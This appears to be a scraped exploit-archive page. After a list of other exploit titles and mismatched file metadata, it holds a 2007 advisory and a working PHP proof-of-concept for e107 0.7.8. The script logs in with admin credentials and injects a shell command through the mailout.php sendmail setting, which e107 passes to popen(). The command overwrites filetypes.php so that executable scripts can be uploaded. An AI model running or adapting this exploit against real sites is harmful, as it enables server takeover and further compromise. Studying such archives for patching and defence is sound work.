477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
85 lines
3.3 KiB
Perl
Executable file
85 lines
3.3 KiB
Perl
Executable file
<?/*
|
|
File: mailout.php
|
|
Affects: E107 (v0.7.8) - mailout.php
|
|
Date: 12th April 2007
|
|
|
|
Issue Description:
|
|
===========================================================================
|
|
mailout.php provides an interface for the site administrator to
|
|
send/configure and test email functionality in e107, the problem occurs
|
|
because the user can directly change the $mailer parameter which is passed
|
|
to a subsequent popen() call when sending a test email. this allows an attacker
|
|
to run any command of their choosing on the system
|
|
===========================================================================
|
|
|
|
Scope:
|
|
===========================================================================
|
|
The scope of the attack is greatly limited by the fact a user would first
|
|
need an administrator account on e107 to exploit the vulnerbility however
|
|
in these circumstance full system access can be gained.
|
|
===========================================================================
|
|
|
|
Recommendation:
|
|
===========================================================================
|
|
No known solution at this time
|
|
===========================================================================
|
|
|
|
Discovered By: Gammarays
|
|
*/?>
|
|
|
|
|
|
<?php
|
|
|
|
//E107 - (v0.7.8) Access Escalation Vulnerbility - PoC
|
|
//Overwrites filetypes.php allowing the upload of dangerous filetypes
|
|
|
|
echo "########################################################\n";
|
|
echo "# Special Greetings To - Timq,Warpboy,The-Maggot #\n";
|
|
echo "########################################################\n\n\n";
|
|
|
|
if($argc!=4) die("Usage <url> <user> <pass>\n\n\t Ex: http://www.example.com/e107/ usera passb\n");
|
|
|
|
$url = $argv[1];
|
|
$user = $argv[2];
|
|
$pass = $argv[3];
|
|
|
|
$ch = curl_init($url . "e107_admin/admin.php");
|
|
if(!$ch) die("Error Initializing CURL");
|
|
|
|
|
|
//Login
|
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
|
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.dat");
|
|
curl_setopt($ch, CURLOPT_POST,1);
|
|
curl_setopt($ch, CURLOPT_POSTFIELDS,"authname=".$user."&authpass=".$pass."&authsubmit=Log+In");
|
|
$res = curl_exec($ch);
|
|
if(!$res) die("Error Connecting To Target");
|
|
|
|
echo "[ ]Logging In...\n";
|
|
|
|
//Check Login Succeeded
|
|
curl_setopt($ch, CURLOPT_HTTPGET, 1);
|
|
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.dat");
|
|
$res = curl_exec($ch);
|
|
if(!$res) die("Error Connecting To Target");
|
|
$res = strstr($res,"administrator.php");
|
|
if(!$res) die("Error - Invalid Username Or Password");
|
|
|
|
echo "[ ]Login Suceeded!\n";
|
|
|
|
//Enable upload of everyones favourite filetypes
|
|
$cmd = "echo php,php3,exe,gzip,pl,cgi,shtml,sh > filetypes.php";
|
|
|
|
curl_setopt($ch, CURLOPT_URL,$url . "/e107_admin/mailout.php?prefs");
|
|
curl_setopt($ch, CURLOPT_POST,1);
|
|
curl_setopt($ch, CURLOPT_POSTFIELDS,"testaddress=none@nomail.net&mailer=sendmail&smtp_server=&smtp_username=&smtp_password=&sendmail=".$cmd."&mail_pause=3&mail_pausetime=4&mail_bounce_email=&mail_bounce_pop3=&mail_bounce_user=&mail_bounce_pass=&updateprefs=Save+Changes");
|
|
$res = curl_exec($ch);
|
|
|
|
curl_setopt($ch, CURLOPT_POSTFIELDS,"testemail=Click+to+send+email+to&testaddress=none@nomail.net&mailer=sendmail&smtp_server=&smtp_username=&smtp_password=&mail_pause=3&mail_pausetime=4&mail_bounce_email=&mail_bounce_pop3=&mail_bounce_user=&mail_bounce_pass=");
|
|
$res = curl_exec($ch);
|
|
|
|
echo "[ ]Upload Of Executable Scripts Enabled\n";
|
|
curl_close($ch);
|
|
?>
|
|
|
|
# milw0rm.com [2007-04-12]
|